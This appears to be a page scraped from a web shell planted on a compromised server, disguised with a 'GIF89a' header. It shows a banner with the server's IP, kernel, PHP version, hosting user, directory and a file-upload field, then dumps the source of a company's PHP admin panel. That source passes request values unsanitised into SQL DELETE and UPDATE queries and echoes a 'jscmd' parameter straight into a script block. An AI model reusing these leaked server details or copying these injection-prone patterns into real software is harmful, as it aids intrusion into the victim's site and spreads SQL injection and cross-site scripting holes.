GIF89a
| Server IP : 200.152.183.196 / Your IP : 216.73.216.150 Web Server : nginx/1.20.2 System : Linux server.teclabs.com.br 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 User : re8rc56e54 ( 10140) PHP Version : 7.3.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/cial.ind.br/httpdocs/c2r/ |
Upload File : |
<?
require('includes/global.php');
if($_SESSION["adm$id_site"]['logado'] != 1)
header("Location: index.php");
$jscmd = request('jscmd');
$show_inf = request('show_inf');
$pg = request('pg');
$acao = request('acao');
$buscar = request('buscar');
$checkb_vet = request('checkb_vet');
$code = request($id_code);
$id = crypt_decode($code, 'id');
$ID = crypt_decode($code, 'ID');
$modo = crypt_decode($code, 'modo');
$dir = crypt_decode($code, 'dir');
$menu_id = crypt_decode($code, 'menu_id');
$pg_reset = crypt_decode($code, 'pg_reset');
if(!$ID)
$ID = request('ID');
if(!$modo)
$modo = request('modo');
if(!$dir)
$dir = request('dir');
if(!isset($_SESSION['ID_create']))
$_SESSION['ID_create'] = 0;
if(isset($_SESSION["alert$id_site"]))
$show_inf = $_SESSION["alert$id_site"];
$_SESSION["alert$id_site"] = '';
$i_data = ' onkeypress="somenteNumeros(this);" onkeyup="mascaraDATA(this,event);"';
$i_hora = ' onkeypress="somenteNumeros(this);" onkeyup="mascaraHORA(this,event);"';
$i_value = ' onkeypress="somenteNumeros(this);" onkeyup="formataValor(this,13,event);"';
$i2_value = ' onkeypress="somenteNumeros(this);"';
$i3_value = ' onkeypress="somenteNumeros(this);" onkeyup="formataValor(this,13,event);virgulaPonto(this.value, this.id);"';
$show_frm = array();
$nav_fnd = '';
$nav_bts = '';
$trs = '';
$th = '';
$bt_add = '';
$bt_hab = '';
$bt_del = '';
$bt_fnd = '';
$bt_list = '';
$onload = '';
if(!$pg){
$pg = 0;
$_SESSION["adm$id_site"]['pg'] = 0;
}
$n_pginacao = 50;
$pg_inicial = $pg * $n_pginacao;
if($pg_reset == 1)
$_SESSION["adm$id_site"]['pg'] = 0;
elseif($pg >= 0 && $pg!='' && $modo == 'list')
$_SESSION["adm$id_site"]['pg'] = $pg;
$pg = $_SESSION["adm$id_site"]['pg'];
if($ID == 'null')
$_SESSION['ID'] = 0;
elseif($ID > 0)
$_SESSION['ID'] = $ID;
if($_SESSION['ID'] > 0)
$ID = $_SESSION['ID'];
if($_SESSION['ID_create'] > 0 && $_SESSION['TB_create'] == $_SESSION["dir$id_site"])
$ID = $_SESSION['ID_create'];
//---
if($menu_id != ''){
$c = 1;
$_SESSION["pag_tit$id_site"] = '';
$query = query("SELECT * FROM areas_adm WHERE $pkey IN($menu_id) ORDER BY $pkey");
foreach($query as $campo){
$campo = (object) $campo;
$_SESSION["pag_tit$id_site"] .= $campo->TITULO.($c<2?' | ':'');
$c++;
}
}
//---
if($dir == ''){
$bt_add = 'null';
$bt_hab = 'null';
$bt_del = 'null';
$bt_fnd = 'null';
$_SESSION["dir$id_site"] = '';
$_SESSION["pag_tit$id_site"] = '';
}
else
$_SESSION["dir$id_site"] = $dir;
$tabela = $_SESSION["dir$id_site"];
//---
if($modo == 'inc' || $modo == 'list'){
$_SESSION['ID_create'] = 0;
}
if($modo == 'list_del'){
$modo = 'list';
$acao = 'delete';
$checkb_vet = array($_SESSION['ID_create']);
$_SESSION['ID_create'] = 0;
}
//---
$show = '<p>Nenhum registro encontrado!</p>';
//---
if($acao == 'delete'){
if(is_array($checkb_vet)){
$t = count($checkb_vet);
for($x=0; $x<$t; $x++){
if($checkb_vet[$x] > 0){
query("DELETE FROM $tabela WHERE $pkey='$checkb_vet[$x]'");
$query = query("SHOW TABLES LIKE 'arquivos_$tabela'");
if($query->rowCount() > 0){
$query = query("SELECT NOME FROM arquivos_$tabela WHERE $pkey='$checkb_vet[$x]'");
foreach($query as $campo){
$campo = (object) $campo;
unlink("../files/".$campo->NOME);
}
query("DELETE FROM arquivos_$tabela WHERE $pkey='$checkb_vet[$x]'");
}
}
}
}
}
elseif($acao == 'disable' || $acao == 'enable'){
if(is_array($checkb_vet)){
$t = count($checkb_vet);
for($x=0; $x<$t; $x++){
if($checkb_vet[$x] > 0)
query("UPDATE $tabela SET VISIVEL='".($acao=='disable'?0:1)."' WHERE $pkey='$checkb_vet[$x]'");
}
}
}
if($_SESSION["dir$id_site"] != '' && is_file('i_'.$_SESSION["dir$id_site"].'.php'))
require('i_'.$_SESSION["dir$id_site"].'.php');
$total_rows = totalRows();
if($bt_add != 'null' && $modo == 'list')
$nav_bts .= ($_SESSION["adm$id_site"]['id']==1 || $tabela!=''?'<a href="painel.php?'.$id_code.'='.crypt_encode('dir='.$tabela.'&modo=inc&ID=null').'" class="toolbar-button" title="Adicionar um registro"><i class="fa-solid fa-circle-plus"></i> Adicionar um registro</a>':'');
if($bt_hab != 'null' && $modo != 'inc' && $modo != 'alt' && $total_rows)
$nav_bts .= '<a onclick="listDisable(\''.$dir.'\');" class="toolbar-button" title="Desabilitar selecionados"><i class="fa-solid fa-toggle-off"></i> Desabilitar selecionados</a><a onclick="listEnable(\''.$dir.'\');" class="toolbar-button" title="Habilitar selecionados"><i class="fa-solid fa-toggle-on"></i> Habilitar selecionados</a>';
if($bt_del != 'null' && $modo != 'inc' && $modo != 'alt' && $total_rows)
$nav_bts .= '<a onclick="listDel(\''.$dir.'\');" class="toolbar-button" title="Deletar selecionados"><i class="fa-solid fa-circle-xmark"></i> Deletar selecionados</a>';
if($bt_list != 'null' && ($modo == 'inc' || $modo == 'alt'))
$nav_bts .= '<a href="painel.php?'.$id_code.'='.crypt_encode('dir='.$tabela.'&modo=list').'" class="toolbar-button" title="Voltar"><i class="fa-solid fa-circle-chevron-left"></i> Voltar</a>';
if($bt_fnd != 'null' && $modo == 'list' && $total_rows)
$nav_fnd = '<form class="toolbar-search" name="frmbusca" action="" method="post"><label class="default-label">'.frm_field('buscar', $buscar, 50, 'width:200px;height:22px;', '', 'text', 'default-text').'</label><button type="submit" name="button"><i class="fa-solid fa-magnifying-glass default-text"></i></button></form>';
?>
<!DOCTYPE html >
<html lang="pt-br">
<head>
<base id="base-url" href="//<?=$base?>">
<title>TECLABS - Intranet Administrativa</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="revisit-after" content="7 days">
<meta name="document-distribution" content="Global">
<meta name="cache-control" content="Public">
<meta name="document-state" content="Dynamic">
<meta name="description" content="TECLABS - Intranet Administrativa">
<meta name="keywords" content="TECLABS - Intranet Administrativa">
<meta name="title" content="TECLABS - Intranet Administrativa">
<link rel="icon" href="imgs/favicon.ico" type="image/x-icon">
<script src="includes/js/rte-quill.js"></script>
<script src="includes/js/bootstrap.min.js"></script>
<script src="includes/js/jquery.min.js"></script>
<script src="includes/js/bootstrap-select.min.js"></script>
<script src="includes/js/common.js"></script>
<script src="includes/js/jquery.modal.min.js"></script>
<script src="https://kit.fontawesome.com/e9608b10d9.js" crossorigin="anonymous"></script>
<link rel="stylesheet" type="text/css" href="includes/css/rte-quill.snow.css">
<link rel="stylesheet" type="text/css" href="includes/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="includes/css/bootstrap-select.min.css">
<link rel="stylesheet" type="text/css" href="includes/css/jquery.modal.min.css">
<link rel="stylesheet" type="text/css" href="includes/css/style.css?<?=date('YmdHis')?>">
</head>
<body id="root" class="dashboard"<?=($onload?' onload="'.$onload.'"':'')?>>
<div id="loading"><div id="loading_area"><p>Processando, aguarde...</p></div></div>
<div id="modal-alert" class="modal"></div>
<div class="action-bar dark-deep">
<div id="show-mobile-menu" class="navegation-mobile">
<i class="fa-solid fa-bars navegation-mobile-btn"></i>
</div>
<img onclick="nav('home.php')" class="action-bar-logo-teclabs" src="imgs/teclabs-logo.png" alt="TECLABS ® Sistemas para Internet" title="TECLABS ® Sistemas para Internet">
<div onclick="nav('index.php')" class="action-bar-logout text-light">
<span onclick="document.location.href='index.php';" title="Sair">Sair</span>
<i class="fa-solid fa-right-from-bracket"></i>
</div>
<div class="action-bar-wellcome text-light"><?=((date('H') >= 0 && date('H') <= 12?'Bom-dia':(date('H') > 12 && date('H') < 18?'Boa-tarde':'Boa-noite')).' '.$_SESSION["adm$id_site"]['nome'].'!')?></div>
</div>
<div id="navegation-menu" class="content-left">
<ul class="navegation-area">
<li onclick="nav('painel.php');" class="navegation-button <?=(count($show_frm)==0?'curr':'')?>">
<span class="navegation-button-text text-light"><i class="fa-solid fa-house" style="margin-right:7px;"></i> Página Principal</span>
</li>
<?
$m_cnt = 0;
$query = query("SELECT * FROM areas_adm WHERE $pkey IN(".$_SESSION["adm$id_site"]['menu'].") ORDER BY $pkey");
foreach($query as $campo){
$campo = (object) $campo;
$t = $campo->TITULO;
$f = $campo->DIR;
if($f == ''){
$menu_id = $campo->COD_ID;
echo '<li class="navegation-subtitle dark-clean"><span class="navegation-subtitle-text text-light">'.$t.'</span></li>';
$m_cnt++;
}
else
echo '<a href="painel.php?'.$id_code.'='.crypt_encode('dir='.$f.'&modo=list&menu_id='.$menu_id.','.$campo->COD_ID.'&pg_reset=1').'">
<li class="navegation-button '.($dir==$f?'curr':'').'"><span class="navegation-button-text text-light"><i class="', $campo->ICON, '"></i> '.$t.'</span></li>
</a>';
}
?>
</ul>
</div>
<div id="content-right" class="content-right">
<div class="content-right-wrapper">
<div class="page-title"><h1 class="text-dark"><?=$_SESSION["pag_tit$id_site"].' '.$total_rows?></h1></div>
<?=($show_inf?'<div class="bar-info"><p><i class="fa-solid fa-circle-check"></i> <span>Observações:</span> As informações foram salvas com sucesso.</p></div>':'')?>
<div class="toolbar"><?=$nav_bts?><?=$nav_fnd?></div>
<?
$t = count($show_frm);
if($t > 0)
for($x=0; $x<$t; $x++)
echo $show_frm[$x];
?>
</div>
</div>
</div>
<script src="includes/js/scripts.js?<?=date('YmdHis')?>"></script>
<script>
$(function(){$('a[href="#modal-alert"]').click(function(event){event.preventDefault();$(this).modal({fadeDuration:250});});});
<?=$jscmd?>
</script>
</body>
</html>